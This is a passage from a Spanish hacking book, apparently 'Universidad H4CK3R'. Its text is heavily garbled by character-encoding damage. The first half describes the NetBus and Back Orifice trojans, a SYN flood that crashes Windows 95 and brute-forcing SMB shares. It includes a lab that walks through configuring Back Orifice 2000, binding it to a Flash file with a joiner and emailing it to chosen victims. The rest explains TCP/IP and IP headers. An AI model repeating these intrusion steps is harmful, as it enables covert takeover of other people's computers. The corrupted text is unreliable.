funcionar como un servidor. Si hay un servidor, hay un cliente para conectarse, !ue esta
en poder del hacker. /a cone5in es casi imperceptible para el usuario no iniciado, !ue, al
conectase a 3nternet, est e5puesto a los ata!ues.
(os de los troyanos ms prcticos actualmente son -etbus y +ack <rifice. "mbos ocupan
poco espacio en disco 0+< tiene slo 1&' S+1 y pueden pasar desapercibidos por!ue hay
la posibilidad de ocultar el eecutable en otro programa o archivo. (espu$s de la
instalacin, el troyano borra sus huellas y se vuelve activo, a la espera de !ue alguien se
conecte a la computadora infectada. "l igual !ue cual!uier otro troyano +ack <rifice y
-etbus se componen de dos archivos= el cliente y el servidor. :no de los principales
problemas de ambos es !ue los servidores estn restringidos a la familia de OindoPs B.5,
aun!ue e5isten clientes +< para OindoPs y :ni5.
2ntre las caractersticas comunes a ambos, podemos destacar=
F <frecen un shell al cliente con un acceso sin restricciones_
F .ontrolan todos los dispositivos de hardPare de la m!uina
F Tuardan una captura de pantalla de la computadora comprometida_
F Hacen e5menes de la red, puede robar contrase)as y otra informacin_
F Tuardan un archivo con la informacin de todo lo !ue se ha tecleado en la computadora_
F Posibilitan abrir ventanas (<S de forma remota.
/os +< y -etbus son dos troyanos muy especficos. 6odos los antivirus los consideran
como una amena#a y evitan !ue se instalen en el e!uipo de destino. Por otra parte, un
buen programa antivirus borra ms del B'] de los troyanos conocidos. <bviamente hay
muchos otros por ah !ue nunca conocer nadie mas !ue su creador y por lo tanto son
inmunes a la mayora de los escneres de virus. 6odo cuidado es poco en estos casos .
/e recomendamos !ue use nuestra red simple 0Ned de /aboratorio 31 para probar3os. /ea
la documentacin de ambos, familiarcese con ellos y trate de controlar otras m!uinas.
/a creacin de buenos scanners y e5ploits re!uiere conocimientos en programacin y
6.PL3P. Para conseguirlo, anali#ar los cdigos de otros es un buen punto de partida.
Nefres!ue sus conocimientos en (elphiLSyli5, Per/ o .L.UU y siga adelante. (entro de
dos o tres meses podr escribir su propio escner en su lenguae preferido.
6os fallos de seguridad mFs comunes en PCs domBsticos
"un!ue no son el obetivo preferido de los hackers, los micros dom$sticos son ptimos
como rea de entrenamiento para a!uellos !ue !uieran entrar en el universo de las
invasiones. 2n general, los usuarios dom$sticos utili#an alguna versin de OindoPs, una
verdadera orga de fallos para aplicar e5ploits y testar troyanos. 3ncluso los usuarios de
otros sistemas personales, tales como /inu5, Mree+S( o ;ac <S 0OindoPs &''', !ue es
relativamente seguro en comparacin con BA1, no puede escapar a este tipo de ata!ues
debido a !ue no siempre dominan plenamente las caractersticas y opciones de seguridad
!ue ofrecen estos sistemas operativos.
124
ikimilikiliklik Universidad H4CK3R
"!u presentamos slo algunos. Hay muchos e5ploits !ue pueden y deben ser probados,
y las novedades en t$rminos de fallos, son refrescadas a diario en sitios especiali#ados.
Para un meor estudio, es interesante preparar una m!uina como 4coneillo de indias4 y
conectarla en red con la estacin de trabao, donde generara los ata!ues. 3nstala m%ltiples
sistemas operativos 0OinBAL;eL&kLKP, /inu5 y Mree+S( F uno a la ve# o todos en multiF
arran!ue, a tu gusto1 y dale ca)aG 6enga en cuenta !ue las algunos fallos no necesitan
e5ploits ...
= 5scaneo ECP ;QI 1s Windows (!
:n error evidente en OindoPs BI 0pero aparentemente no en BA o ;e1 es la incapacidad
para manear pa!uetes S*-. .omo veremos en el captulo Nedes 33, en una red 6.PLlP
hay tres ChadshakesD bsicos. Eui$n pide la cone5in enva un pa!uete S*-, !uien
acepta la cone5in enva un pa!uete S*-L".S y espera un ".S del sistema !ue pidi a
la cone5in.
:n escaner de puertos del tipo 6.P S*- nunca enviar el pa!uete ".S en respuesta de
S*-L".S a OindoPs. 2sto har !ue OindoPs BI se congele por unos momentos
mientras espera el pa!uete. Si se hace un CfloodD 0envo de un gran n%mero de pa!uetes
simultneos1 S*-, la pila 6.PLlP de OindoPs se cae y muestra la famosa 4pantalla a#ul
de la muerte4 0+lue Screen of (eath o +So(1.
6rata de hacerlo con nmapLnmapOin en tu e!uipo de trabao, apuntando a la 3P de la
m!uina 4cobaya4 y reali#a el anlisis con la opcin de CS*- StealthD.
= Com7artici/n en ordenadores Windows M;42HCI";N
la configuracin incorrecta del protocolo conocido como C.ommon 3nternet Mile SystemD
0.3MS F antes conocido como Server ;essage +locks o S;+1 !ue permite compartir
archivos a trav$s de redes, puede e5poner a los archivos crticos del sistema o permitir el
acceso a todo el sistema.
/os usuarios corporativos a menudo comparten sus sistemas de archivos en la red.
3ngenuo, activar esta opcin tambi$n en casa, olvidando !ue estn conectados
directamente a 3nternet. .on ello, abre la puerta para !ue los hackers hagan lo !ue
!uieran con sus archivos. :na cone5in llamada 4null session4 0sin nombre de usuario ni
contrase)a1 puede poner en peligro informacin importante para el sistema y claves del
registro.
/os scanners de vulnerabilidades 0-essus como se mencion anteriormente1 por lo
general buscan varios puertos, incluyendo puertos 19I 06.P y :(P1, 19@ 0:(P1, 19A
0:(P1, 19B 06.P1 y ??I 06.P y :(P1. Si por lo menos dos de estos puertos estn 0o
parecen estar1 activos, el e!uipo muestra !ue la cone5in es vulnerable a por
comparticin.
2l procedimiento es bastante simple. 2n primer lugar, use -essus para e5aminar, en
3nternet, las m!uinas con estos puertos abiertos. "note todas las !ue encuentre. 2n
OindoPs, arran!ue 3nternet 25plorer y escriba la direccin 3P de la m!uina vulnerable,
en formato /"- ;anager= dd3P.(2./".Vn.63;"."E:3. Si no hay ninguna contrase)a, las
comparticiones se mostrarn F basta con hacer clic sobre ellas. 2n caso de !ue la haya,
125
ikimilikiliklik Universidad H4CK3R
un buen crackeador de contrase)as por fuer#a bruta har el trabao.
Si estamos en una m!uina /inu5, podemos utili#ar los comandos del pa!uete CsambaF
clientsD e intentar la cone5in, de la siguiente manera=
6 sm/c!ient +L I, 4E LA *HCTIMA AI(H
Probablemente nos pedir contrase)as para mostrar el resultado de las comparticiones.
:na ve# ms, debemos recurrir a la fuer#a bruta para descubrir contrase)as.
Si la interfa# grfica S(2 9 est disponible, puede usar Son!ueror. 2scriba en la barra de
direcciones la 3P de la vctima de la siguiente manera=
sm/ECCI, 4E LA *HCTIMA AI(HC.
(eben mostrarse las comparticiones.
126
ikimilikiliklik Universidad H4CK3R
:na curiosidad acerca de este aguero de seguridad es !ue originalmente no e5istaG 2l
protocolo -et+2:3 0antecesor del S;+L.3MS1 permita la comparticin de archivos en las
redes /"- ;anager, COindoPs para 6rabao en TrupoD y los primeros COindoPs -6D.
Slo !ue -et+2:3 no era enrutable y por lo tanto, era imposible !ue grandes redes 3P
tuviesen conectividad plena a trav$s de $l. Para solucionar este problema, ;icrosoft
amplio la aplicacin -et+2:3. +auti#ada como S;+, la nueva tecnologa permita el
4empa!uetamiento4 de pa!uetes -et+2:3 en el protocolo 6.PL3P. /a cone5in entre las
m!uinas se hacia por los puertos 19@ y 19B.
-o obstante, 4t%nelar4 el -et+2:3 por 3P permita !ue un pa!uete fuese enrutado no slo
a la red corporativa, sino tambi$n a trav$s de 3nternet. 2n estos casos, hay dos opciones
para las empresas= aislar totalmente la red interna de 3nternet o, no compartir nada nunca.
/os usuarios dom$sticos normalmente no tienen !ue compartir 0por!ue no pertenece a
ninguna red1 y debe mantener esta funcin desactivada.
= ;er1icios 1inculados innecesariamente
:ni5 nunca fue pensado para ser un sistema operativo domestico. " menudo se dice !ue
fue creado 4por los programadores, para programadores.4 /uego fue adoptado como el
sistema operativo ideal para servidores y para ello, se llen de diversos programas y
servicios especficos de servidores.
2n la actualidad, /inu5 y Mree+S( se estn utili#ando en mayor escala, como sistemas
operativos en estaciones de trabao y P.s en el hogar. "un as, siguen siendo preparados
para ser servidores, ya !ue la mayora de los distribuidores montan caas con productos
4polivalentes4 y no especiali#ados. :n usuario dom$stico puede !ue nunca necesite un
CsendmailD o un CapacheD corriendo en su m!uina, pero a%n as las tiene.
.uriosamente, para e5plotar los fallos de softPare, tales como desbordamiento de b%fer o
programas comunes no hace falta tener las competencias del CrootD. 3magnese una
estacin de trabao /inu5 con los servicios de Minger, M6P y 6elnet habilitado. :sted no
los necesita F por!ue su m!uina no es un servidor F y ni si!uiera sabe !u$ estos servicios
estn habilitados. .on el comando CfingerD, un hacker obtiene la lista de usuarios
registrados en el sistema. 2n posesin de los logins, por fuer#a bruta o diccionario, puede
entrar en una cuenta de telnet, y una ve# dentro, puede e5plorar el sistema a voluntad.
/a correccin de este fallo es simple= apagar todo lo !ue no utili#a.
= Jes&ordamiento de &3fer en el ser1icio de llamada a 7rocedimiento remoto
3ncluso en :ni5, algunos servicios utili#an las NP., !ue son simplificando la e5plicacin,
como llamadas al sistema eecutadas en otro e!uipo. Por eemplo, una m!uina :ni5
utili#a NP. para implementar el servicio, -etPork Mile System 0-MS1 ofrecido por otra
m!uina :ni5.
Hay fallos en las implementaciones de NP. !ue permiten !ue se eecuten programas en
su P. invadido desde otro ordenador remoto. Hay evidencia de su uso en los ata!ues
((oS !ue tuvieron lugar en 1BBB.
127
ikimilikiliklik Universidad H4CK3R
6a&oratorio de 1ulnera&ilidades I
2l obetivo principal de los laboratorios es la prctica de determinados procedimientos
considerados esenciales para la rutina de los piratas informticos. /os administradores de
sistemas deben observarlos detenidamente, ya !ue deben estar atentos a las t$cnicas
utili#adas en los ata!ues.
2n este laboratorio en primer lugar, vamos a mantener nuestro enfo!ue en la invasin de
micros dom$sticos F s, s, algo de lammer. Pero tenemos !ue empe#ar de alguna
manera, 7no8. * 7.ual es la meor manera de lograr este obetivo8 /a respuesta es uno
de los trucos ms vieos conocidos por el hombre= 2l .aballo de 6royaG Q25actamenteG "l
igual !ue en la historia, se utili#a un regalo como un artfice de la invasin. Vamos a
utili#ar el m$todo tradicional de enviar troyanos a las vctimas. (e hecho, necesitamos
tres archivos para reali#ar la tarea= el servidor, !ue controlar el e!uipo invadido, un
programa CoinerD 0utili#ado para unir los archivos1 y el cliente, instalado en la m!uina del
hacker para controlar el servidor.
:samos el +ack <rifice &''', la %ltima versin de uno de los troyanos ms utili#ados.
.omo ya se mencion anteriormente el programa se divide bsicamente en dos partes=
cliente y servidor. Para instalar el servidor, es necesario !ue la vctima eecute el archivo
eecutable en su computadora sin darse cuenta de lo !ue estn haciendo. Pero, 7cmo es
esto posible8 Simple, utili#amos un pe!ue)o truco de ingeniera social= vamos a hacer
uso de la curiosidad. 2n nuestro eemplo, una imagen !ue lleva en su vientre el servidor
+'&k .
Para ocultar a nuestro agente, vamos a emplear el CoinerD, un pe!ue)o programa !ue
permite la unin de dos archivos cual!uiera. :no tiene !ue ser necesariamente un archivo
eecutable, !ue se abrir antes !ue el segundo. "l terminar, el control se pasa al segundo
archivo, si tambi$n es un binario ser eecutado y, si es un archivo com%n, se abre en la
aplicacin correspondiente.
2ntonces, a los troyanosG Se recomienda el +ack <rifice &''', uno de los ms populares
y prcticos de la red, pero usted puede elegir entre una gran coleccin. Hay troyanos para
prcticamente todas las plataformasG
Configuraci/n del ser1idor
2l servidor de +< tiene !ue estar preparado antes de la
infeccin, pues depende de los plugFins para cada una
de las 4maldades4 !ue sern llevadas a cabo. <tro
detalle= es necesario decirle al programa cmo
comunicarse con el hacker. /as opciones son correo
electrnico, 3N. y hasta 3.E.
/a configuracin es sencilla. 2ncienda el .onfigurador
+'&S. 2n la pantalla !ue aparece, rellene los datos, el
puerto !ue el servidor debe 4escuchar4 y la forma en
!ue deben ponerse en contacto para informar !ue est
en lnea. Hay varias opciones, incluyendo 3.E, 3N., e
128
ikimilikiliklik Universidad H4CK3R
incluso el correo electrnico. 6ambi$n es posible configurar las contrase)as de la
cone5in, evitando as a otros hackers el uso de la +<. -ada !ue una fuer#a bruta no
resuelva, sin embargo.
/a parte ms importante de la configuracin
del servidor es la definicin de los plugFins
!ue se utili#arn. .ada una de las tareas
bsicas F el control de la computadora, la
navegacin a trav$s del sistema de
archivos, capturar la imagen de la pantalla y
encriptar la comunicacin, entre otros F es
responsabilidad de un plugin especfico.
/ea la documentacin 0y el tutorial sencillo y
efica#, incluido en el pa!uete1 para obtener
ms detalles acerca de los plugFins.
= Uniendo las cosas
:na ve# configurado el servidor, nos falta unir el
archivo generado por el configurador
Cboserve.e5eD con el 4caballo4 F en nuestro caso,
una animacin Mlash. Para ello es necesario
activar CoinerD, !ue inmediatamente le pedir el
nombre del archivo eecutable 0en nuestro caso,
el servidor1 y nuestro cebo 0la animacin Mlash1.
6en en cuenta !ue hay una opcin si !uieres ser
avisado si alguien abre el archivo
6erminado este proceso, tendrs un archivo
hbrido !ue se puede instalar en cual!uier
m!uina. "lgo como esto=
/a mayora de los oiners funcionan del mismo modo. "lgunos slo en modo te5to, pero
en general las sentencias de la operacin se limitan a los siguientes comandos 0en (<S1=
CE \JDoiner -servi"or "e nom/re "e #rc$ivo0 -Nom/re "e #rc$ivo "e!
ce/o0
CE \ Jren DoinBfi! .o..!esBe&e
"hora slo tienes !ue elegir a las personas !ue recibirn el servidor y enviarles correos
electrnicos con temas inocentes.
= Puerta trasera
(espu$s de recibir la confirmacin de !ue el P. esta corriendo el servidor, es el momento
de utili#ar las funciones del cliente. /a ventaa del +ack <rifice es su entorno grfico
129
ikimilikiliklik Universidad H4CK3R
capa# de eecutar todas las rdenes sin dificultad. 2ntre las caractersticas de +<, se
destaca la creacin de directorios, mover archivos, e incluso la posibilidad de reiniciar el
sistema.
"hora, a ugar con su presa.
Meli# HackingG
Consideraciones finales
2s obvio !ue en este captulo slo se rasc la superficie X y no mucho. /e aconseamos
!ue dee de leer el libro, visite todos los sitios !ue hemos citado, y 4uegue4 con todas las
herramientas mostradas y, algunos incluso intenten invadir ordenadores siempre con la
autori#acin de la vctima. :sa estos procedimientos y descubre por ti mismo las
compleidades de este oscuro laberinto.
130
ikimilikiliklik Universidad H4CK3R
Parte 2
&W ")o de la universidad=
2l camino de un Viaero
131
ikimilikiliklik Universidad H4CK3R
.edes II
.apitulo F A
4;i tierra tiene campos de f%tbol donde los cadveres
amanecen boca arriba para perturbar los uegos. 6iene
una piedrita de color bilis !ue hace Ctuim
1
4 en la cabe#a
de la gente. 6ambi$n cuenta con paredes de blo!ue
0sin pintar, por supuesto, !ue la pintura es la mayor
frescura cuando no hay me#cla1, donde insertan vidrios
rotos para ahuyentar a las babosas. ;i patria tiene HS,
"N1I, ;&1, ?I y 9A 0en mi pas, 9& es una broma1. /as
sirenas !ue a!u pitan, pitan de repente y sin previo
aviso. -o son de las fbricas, !ue cerraron. Son de los
furgones, !ue vienen a hacer lisiados, traer tran!uilidad
y afliccin4=
Euince escenas del descubrimiento de +rasil, 1BBB
Mernando +onassi
1 X C6uimD se utili#a en erga para decir Cperi!uitoD o CpericoD, una forma de llamar a la herona.
132
ikimilikiliklik Universidad H4CK3R
ECPHIP. 5l comien>o
2n el captulo anterior de redes, tratamos los aspectos ms bsicos y desarrollamos un
breve estudio de algunos de los protocolos ms utili#ados. 2ste estudio sirvi para poder
aprender algunas sencillas t$cnicas y procedimientos de invasin y e5perimentar con
algunas herramientas. .on la informacin de los captulos CNedes 3D y CVulnerabilidades 3D,
y a)adiendo un poco de investigacin en los sitios y libros mencionados, cual!uiera puede
considerarse un script kiddie y llevar a cabo los procedimientos ms simples de 4invasin4
de e!uipos dom$sticos.
"hora la conversacin cambia de tono. Veremos ms adelante 0en Vulnerabilidades 33 y
ms tarde en los captulos finales1, m$todos ms compleos de ata!ue a los sitios, las
empresas y las redes remotas, todos a trav$s de 3nternet. .mo la Tran Ned se basa en
la familia de protocolos 6.PLlP 07o es al rev$s8 6.PLlP fue creada por culpa de 3nternet,
da igual ...1, ser la estrella de esta parte del libro.
Pero seremos 4malos4 con el 6.PLlP. /a mayora de los libros muestran el protocolo de
forma acad$mica y bien estructurada. 2n nuestros estudios, vamos a ver cmo podemos
deformar, fracturar y abusar de $l, una autentica violacin digitalG. /a palabra es fuerte,
pero el !uerido lector vera !ue se aplica perfectamente al conte5to en el !ue se utili#a.
Para los hackers, la tecnologa est ah para ser e5tendida. < enga)ada...
2ste captulo nunca podr reempla#ar a cual!uiera de los e5celentes libros y artculos
escritos especialmente para revelar todas las compleidades, los aspectos del 6.PLlP y su
uso prctico. 2speramos por lo menos, servir como una introduccin a estos recursos.
(espu$s de leer este libro, recomendamos al lector sumergirse en el estudio de este
protocolo y las tecnologas de red basadas en $l. "dems de los libros del Prof. "ndreP
6annembaum. y Tabriel 6orres 0ambos llamados redes de computadoras1, !ue ya se han
mencionado varias veces en el libro, le recomendamos las siguientes publicaciones=
F (ise)o y ar!uitectura de redes de Z.M.(imar#io_
F 3ntemet Porking con 6.PL3P, (oug .omer_
F "prender 6.PL3P en 1? das, 6im Parker_
F Testin de 6.PL3P, .raig Hunt_
F 6.PL3P 3llustrated, Volumen 1, O. Nichard Stevens.
2n 3nternet, hay disponibles e5celentes recursos por= investigadores, universidades,
sector empresarial y sitios especiali#ados. "lgunos buenos trabaos de redes 6.PLlP !ue
recomendamos son=
F "punte 6.PL3P ..:2. 0PPP.dicasFl.unicamp.brL6reinamentosLtcpip1_
F -otas de la conferencia de 6.PL3P, Nicardo :eda, 3nstituto de ;atemticas y 2stadstica
de la :SP 0PPP.ime.usp.brLFuedaLldocLnotastcp.html1.
* en 3ngl$s, se recomienda=
F 6.PL3P 6utorial y descripcin t$cnica general, libros roos de 3+;
0publibFb.boulder.ibm.comLredbooks.nsfLportalsL-etPorking1_
F -etscape <pen (irectory 0PPP.dmo#.orgL.omputersL3nternetLProtocols1.
133
ikimilikiliklik Universidad H4CK3R
6ambi$n e5iste en 3nternet, varios grupos de discusin sobre la creacin de redes. (os
grupos,!ue los autores no slo recomiendan, tambi$n participan son= (icasF/, aloado en
la :nicamp 0PPP.dicasFl.unicamp.br1 y gestionada por competentsimo Nubens Eueiro#
de "lmeida, y NedesF/, organi#ada y Testionado por la M"P2SP
0listas.ansp.brLmailmanLlistinfoLredesFl1.
Por %ltimo, sabemos !ue en +rasil e5isten varias publicaciones dedicadas a los usuarios
de ordenadores y administradores de red. :na lista de ellas, por autores de prestigio, esta
en= 3nfo 25ame, /inu5 ;aga#ine, H?ck9r, Teek, P. +rasil
0;I 1s ECPHIP
.ontinuando donde lo deamos en el captulo &, anali#aremos en profundidad el dise)o y
operacin de cada protocolo de la familia 6.PL3P, cmo los diferentes protocolos
interactuan entre s y cules son las tecnologas implicadas. 2l 6.PL3P es un conunto de
protocolos presentes en 3nternet. (e hecho, ambas entidades son las mismas. "s como
es imposible separar la energa de la materia 02 b mc
&
1, no es necesario discutir si el
protocolo 6.PLlP fue creado para ser utili#ado en 3nternet, o si 3nternet apareci por el
protocolo 6.PL3P. /a historia del huevo y la gallina >
2l 6.PL3P es independiente de la plataforma. Sus especificaciones son abiertas y libres
de royalties. Por eso mismo, acabo tomndose como el estndar del sector en todo el
mundo, y por eso se utili#a para dar acceso a computadoras de todos los tipos y tama)os,
desde dispositivos porttiles hasta mainframes.
/a mayora de las publicaciones dicen !ue la familia 6.PL3P cumple con los re!uisitos de
trabao de las capas 9F? del modelo de referencia <S3. /a afirmacin es correcta pero
incompleta. Sabemos !ue cada una de las capas de referencia del modelo, puede ser
implementada con un protocolo diferente, por ser cada capa independiente. "s !ue en
teora es posible !ue pa!uetes SPK 0una implementacin propietaria de -ovell1 sean
transportados en pa!uetes 3P, en ve# de 3PK. 2n la prctica, lo !ue vemos es !ue los
estndares abiertos terminan siendo de uso com%n, con raras e5cepciones como el
S;+L.3MS de 3+;L;icrosoft. Por lo tanto, podemos montar un diagrama !ue contiene las
siete capas <S3 y sus representantes en el 4mundo real4=
= Ca7as de 7rotocolos de red
2n la prctica <S3 2emplo de aplicacin
"plicacin
"plicacin ;ail, -MS, H66P, S;+
Presentacin Nepresentacin de datos e5ternos 0K(N1
Sesin /lamadas a procedimiento remoto 0NP.1
6.PL:(P 6ransporte 6.PL:(P
3P Ned 3PL3.;P
2thernet .one5in 2thernet
Msica Msica .able de par tren#ado categora I
134
ikimilikiliklik Universidad H4CK3R
-ota= en la prctica, e5isten aplicaciones !ue hacen las funciones de las capas @,J y I.
.mo son aplicaciones e5ternas, de instalacin libre y !ue ruedan en el rea del usuario,
se considera !ue todas ellas estn en la capa de aplicacin.
Protocolo IP
2l caballo de batalla del 6.PLlP es el protocolo 3P. 2s a trav$s de los pa!uetes 3P 0es
decir, los conuntos de datos montados de acuerdo con el Protocolo de 3nternet1 como las
aplicaciones transportan los mensaes entre diferentes redes. 2l protocolo tambi$n define
como ser el es!uema de direccionamiento para !ue cada m!uina tenga un identificador
%nico en todas las redes. (icha direccin se implementa mediante direcciones 3P= un
grupo de 9& bits, dividido en ocho grupos de cuatro 0es decir, cuatro bytes1 y !ue
obedecen a lo definido en el protocolo 3P. "tento, pues, al hecho de !ue el protocolo 3P,
n%mero de 3P y pa!uetes 3P no son la misma cosaG.
2n este libro, se habla e5clusivamente de los pa!uetes 3P de la versin ?, conocido como
3Pv?. /as demandas de 3nternet hoy en da 0sobre todo el rendimiento, seguridad y sobre
todo la falta de disponibilidad de n%meros de 3Pv?1 llev al desarrollo de un nuevo
protocolo llamado 3PvJ, !ue est siendo utili#ado en 3nternet &.
= 5l 7a+uete IP
/a informacin proveniente de las capas superiores 0en nuestro caso, 6.P y :(P1 debe
ser incluido en un pa!uete de datos !ue se transmitir de conformidad con los
procedimientos definidos en el protocolo 3P. 2ste pa!uete est montado en un formato
tambi$n definido en el protocolo, llamado datagrama 3P. :n datagrama 3P es una
secuencia de series de bytes, de los cuales los primeros &' componen la cabecera 3P. /a
alusin a los telegramas no es cacofonca= un datagrama se parece mucho a su colega de
4carne y hueso 4 0o meor dicho, papel y tinta1=
Versin 0?1 3H/ 0?1 6ipo de Servicio 0A1 6ama)o 6otal 01J1
3dentificacin 01J1 4Mlags 4 091 Mragmentacin 0191
6iempo de vida 066/1 0A1 Protocolo 0A1 -%mero de Verificacin 01J1
(ireccin 3P de origen 09&1
(ireccin 3P de destino 09&1
<pciones 0si procede1 /lenado
(atos
/as cifras entre par$ntesis indican el tama)o del campo en bits. "l principio de los
datagramas tenemos el campo Cversin. .omo su nombre indica, es la versin del
protocolo 3P en uso. .onsta de cuatro bits, lo !ue dara 1J posibilidades diferentes de
versiones 3P. Sin embargo, actualmente hay slo dos, 3Pv? e 3PvJ. 2l valor almacenado
all es num$rico, por lo !ue el 3Pv? estara representada por el n%mero binario '1'', e
3PvJ por '11'.
135
ikimilikiliklik Universidad H4CK3R
<bservando la cabecera, vemos !ue est formada por filas de 9& bits de longitud. 2l
campo Cta(a4o de ca%ecera 03nternet Header /ength o 3H/1 indica la longitud de la
cabecera en n%mero de palabras de 9& bits. Si no hay opciones, el valor vlido para este
campo es de cinco. Habiendo opciones, ese valor puede crecer indefinidamente para dar
cabida a todas.
/os enrutadores son e!uipos con una cierta CinteligenciaD. Saben, por eemplo, cual de las
rutas !ue se les atribuyen es ms corta o ms confiable. 2l campo Ctipo de servicio 06oS
o 6ype of Service1 permite dar a los routers orientaciones sobre cmo manear el pa!uete
y dnde enviar3o. .uenta con cuatro indicadores= minimi#ar los retrasos, ma5imi#ar el
rendimiento, ma5imi#ar la fiabilidad y reducir al mnimo el costo. 2n base a estos
indicadores, el router enviar el pa!uete 3P por una ruta concreta. /a mayora de las
implementaciones e5istentes, sin embargo, ignora este campo solemnemente, por lo !ue
no suele tener el efecto deseado.
2l campo Cta(a4o total almacena la longitud total del datagrama en bytes, incluyendo
toda la cabecera ms el contenedor de datos. 2n teora, 1J bits pueden indicar un tama)o
de hasta JI.I9I bytes. Pero un pa!uete 3P de J? S+ es monstruoso. 2n la prctica, el
tama)o estndar de los pa!uetes es de I@J bytes. :na ve# establecida la cone5in y !ue
el sistema se asegure de !ue todos los componentes de la ruta F principalmente el e!uipo
de destino X soportan pa!uetes ms grandes, este valor puede ser modificado. (e hecho,
uno de los m$todos ms antiguos de denegacin de servicio o (oS, era for#ar el envo de
un pa!uete 3P con un tama)o de J? kbytes. Si el destino no estaba listo para un pa!uete
tan grande con el tiempo sera derrocado. 2s el llamado Pin# de la Huerte.
" veces es necesario fragmentar el pa!uete 3P. (iversas ra#ones pueden obligar a un
router a eso. :na de ellas es el enrutamiento entre dos redes cuyas capas & 0enlace de
datos1 tengan implementadas tama)os diferentes de payload. Por eemplo, entre una red
2thernet, !ue tiene un ;6" 0unidad de transferencia m5ima1 de 1.I'' bytes para una
c$lula "6; con una longitud de ?A' bytes. 2l estndar de pa!uetes 3P de I@J bytes, no
cabe en la c$lula "6;. Se debe romper en dos el pa!uete 3P, para !ue pueda viaar a
este nuevo medio. .uando, por el contrario, los pa!uetes fragmentados salen de la "6;
hacia otro segmento de 2thernet, tiene !ue haber un mecanismo !ue pueda
desfragmentar el pa!uete de nuevo.
2l campo Cidentificacin lleva un n%mero !ue reconoce el pa!uete. 2n realidad, es un
contador de ciclos, por!ue cuando la cuenta llega a JII9I, vuelve a cero. Si es necesario
fragmentar3o, todas las partes llevan el mismo 3(. Por lo tanto, es imposible confundirlo
con 3os fragmentos de otros pa!uetes. 2l campo Cflags tiene tres controles !ue indican si
un datagrama puede o no ser fragmentado y si hubo fragmentacin. /a frag(entacin
indica la posicin de ese fragmento dentro del datagrama original, y se utili#a para volver
a montarlo. .ada unidad en frag(entacin representa un despla#amiento de J? bits en el
pa!uete original. 2n un pa!uete no fragmentado, el valor de este campo es cero.
:no de los campos ms importantes de los datagramas 3P es el Ctie(po de vida o 66/.
3ndica el n%mero m5imo de routers por los !ue el pa!uete puede pasar. .uando el valor
llega a cero, el pa!uete se descarta. 2ste dispositivo evita !ue los pa!uetes 3P sin due)o
vaguen de forma indefinida por 3nternet.
136
ikimilikiliklik Universidad H4CK3R
2l campo Cprotocolo indica !ue protocolo de capa ? est cargado en nuestro pa!uete 3P F
ver NM.1@''. 2l CnA(ero de verificacin 0checksum1 es, como hemos visto en el pa!uete
de 2thernet 0.aptulo &, Nedes 31, un n%mero calculado en origen, basado en todos los
datos del pa!uete. 2ste n%mero se calcula de nuevo en el destino y, si es diferente, el
pa!uete se descarta. 6enga en cuenta !ue el reFclculo se produce cada ve# !ue el
pa!uete pasa a trav$s de un router. .mo los datos de cabecera cambian en el camino,
el checksum es diferente en cada segmento a trav$s del cual pasa.
Poco despu$s, tenemos finalmente los ca(pos de direccin. "mbos tienen una longitud
de 9& bits. Seguido, tenemos el campo de Copciones, !ue puede tener de cero a varios
bytes. (ependiendo del n%mero de opciones, puede abarcar varias lneas de 9& bits. 2l
campo Cllenado tiene un tama)o variable y asegura !ue la %ltima lnea del campo de
opciones tenga una longitud de 9& bits, lo !ue garanti#a la coherencia de la cabecera.
72scarbamos un poco en los bits8 Si tienes acceso a cual!uier :ni5, puedes ver el
contenido de los pa!uetes 3P con tcpdu(p=
2ste comando e5amina todos los pa!uetes !ue entran y salen de la m!uina. Se puede
observar !ue el CtcpdumpD decodifica algunas cosas= tiempo en !ue el pa!uete paso por
la interfa# 0'I=9B am1, direccin de origen 01B&.1JA.1.111 y destino 0&19.J1.?A.&?I1 y
algunos indicadores de control.
Zusto debao, en he5adecimal, estn los bytes correspondientes al pa!uete 3P completo.
.ada cifra representa ? bits.
Se podra utili#ar en lugar del CtcpdumpD, el programa C2therealD 0PPP.ethereal.com1
=;ctual(ente ,ires3ar/X $$$.$ires3ar/.org?. !ue tiene versiones para OindoPs y :ni5 y un
hermoso y funcional interfa# de usuario. /os autores recomiendan el e5celente C2therealD
para el diagnstico de prcticamente todas las cuestiones relacionadas con el rendimiento
y los errores en las redes de ordenadores. Para este eemplo, sin embargo, la salida de
CtcpdumpD servir.
"nali#ando un poco, vemos !ue el primer dgito tiene el valor ?, es decir '1''. 2stamos
hablando por tanto de un pa!uete 3Pv?. 2l segundo dgito es I, lo !ue indica !ue nuestro
pa!uete 3P tiene una cabecera con cinco filas de 9& bits.
:yG *a sabemos lo mucho !ue tenemos de encabe#ado.
Separandolo, tenemos !ue=
K;AA AA<K <::8 KAAA KAA= </=; cA#@ A>A/ ";<" <Af;
137
ikimilikiliklik Universidad H4CK3R
"nali#ando un poco ms, podemos observar !ue=
F Uersin= ?
F I.'= I, o sea &' bytes
F 8oS= ''
F 8a(a4o total= ''9? o I& bytes
F Identificacin= 9@@B
F Flags + Frag(entacin= ?'''. /os flags estan establecidos como '1'', lo !ue indica !ue
el pa!uete puede ser fragmentado y !ue no hubo aun fragmentacin. /os otros 1& bits
son cero 0sin fragmentacin1.
F 88'= ?', o J? routers. .uando el pa!uete llega al router numero J? ser descartado, a
menos !ue el campo 66/ sea recalculado por alg%n otro router en el medio del camino.
F 2rotocolo= J. .ada protocolo de capa ? transportado por 3P tiene un n%mero !ue lo
identifica. 2n el eemplo, el n%mero J es un pa!uete 6.P.
F 13ec/su(= 9bJI
F >ireccin de origen= c'.aA.'1.'b F o, en decimal 1B&.1JA.1.11
F >ireccin de destino= dI.9d.9'.fI F o, en decimal, &19.J1.?A.&?I
= Jireccionamiento IP
2n el captulo Nedes 3, vimos algunos conceptos bsicos acerca de la numeracin 3P. 2n
esa ocasin, diimos !ue un n%mero 3P consta de ? bytes en el formato= '''.'''.'''.'''.
.ada byte es un valor de A bits, obviamente, puede contener un valor entre cero y &II,
por eemplo, &''.&9'.1JA.1. -o debe haber dos m!uinas con la misma direccin 3P en la
misma red, sera imposible encaminar los pa!uetes al destino correcto.
/os n%meros 3P identifican la interfa# de una m!uina en una red. ;s !ue eso,
identifican en !ue red, o no, esta conectada en los casos en !ue varias redes estn
conectadas entre si. Para ver el n%mero de 3P asignado a su m!uina, abra un terminal o
ventana de (<S y teclee el comando CifconfigD 0/inu51, CPinipcfgD 0para la familia OindoPs
B51 e CipconfigD 0para la familia Oin-6 1. 2n OindoPs KP Home, este comando no est
disponible, por lo !ue el lector debe buscar CPropiedades de NedD en el Panel de control.
.ual!uiera !ue sea el comando, la salida tendr este aspecto=
